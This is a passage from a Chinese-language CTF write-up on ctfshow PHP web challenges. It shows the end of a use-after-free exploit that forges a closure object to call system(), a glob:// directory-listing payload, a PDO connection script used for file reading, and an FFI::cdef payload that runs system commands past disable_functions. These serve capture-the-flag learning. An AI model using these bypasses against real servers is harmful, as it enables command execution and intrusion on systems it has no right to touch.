$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush(); ?>
变式题plus,参考ctfshow web入门75
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?
尝试利用scandir进行目录扫描的时候发现被禁用了,只能拿glob伪协议进行目录扫描
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ')
}
exit(0);
扫flag文件出来,尝试再用UAR脚本进行读取发现存在strlen()过滤
PHP的PDO连接MySQL数据库
PHP的PDO连接数据库知识点补充
PHP的PDO连接数据库后可以进行文件的读取
$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。
PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。
DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 ‘mysql:host=localhost;dbname=information_schema’。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。
foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。
参考大佬写的PDO连接脚本
<?php
$dbms='mysql'; //数据库类型
$host='localhost'; //数据库主机名
$dbName='test'; //使用的数据库
$user='root'; //数据库连接用户名
$pass=''; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";
try {
$dbh = new PDO($dsn, $user, $pass); //初始化一个PDO对象
echo "连接成功<br/>";
/*你还可以进行一次搜索操作
foreach ($dbh->query('SELECT * from FOO') as $row) {
print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
}
*/
$dbh = null;
} catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
//默认这个不是长连接,如果需要数据库长连接,需要最后加一个参数:array(PDO::ATTR_PERSISTENT => true) 变成这样:
$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
?>
变式题plus+,参考题目ctfshow web入门77
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?
看似一样重复上述几个题的操作,发现都不成功
PHP7.4+的FFI特性
php7.4+ FFI特性知识点补充
php7.4+的FFI特性,加载C语言调用C语言的函数执行命令
PHP 7.4 引入了 FFI(Foreign Function Interface) 特性,它允许 PHP 与外部 C 库进行直接交互。通过 FFI,PHP 脚本可以加载 C 语言编写的共享库(如 .so 或 .dll 文件),并调用这些 C 函数。这使得 PHP 能够高效地调用低级语言编写的函数,进而扩展 PHP 的功能,提升性能,甚至直接操作系统资源。
参考大佬的脚本
c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
这行代码使用了 PHP 的 FFI 特性,调用了 FFI::cdef() 方法来定义并加载 C 函数原型。
"int system(const char *command);" 是 C 语言中的函数原型,它告诉 PHP:
system函数的返回类型是int,即执行命令后的返回值。system函数的参数是一个const char *command,即一个指向字符常量的指针,表示要执行的系统命令。
通过这个 FFI::cdef() 调用,PHP 加载了 C 标准库中的 system() 函数,使得 PHP 可以直接调用该函数并在其上执行系统命令。











喵喵喵
抓学长(〃 ̄︶ ̄)人( ̄︶ ̄〃)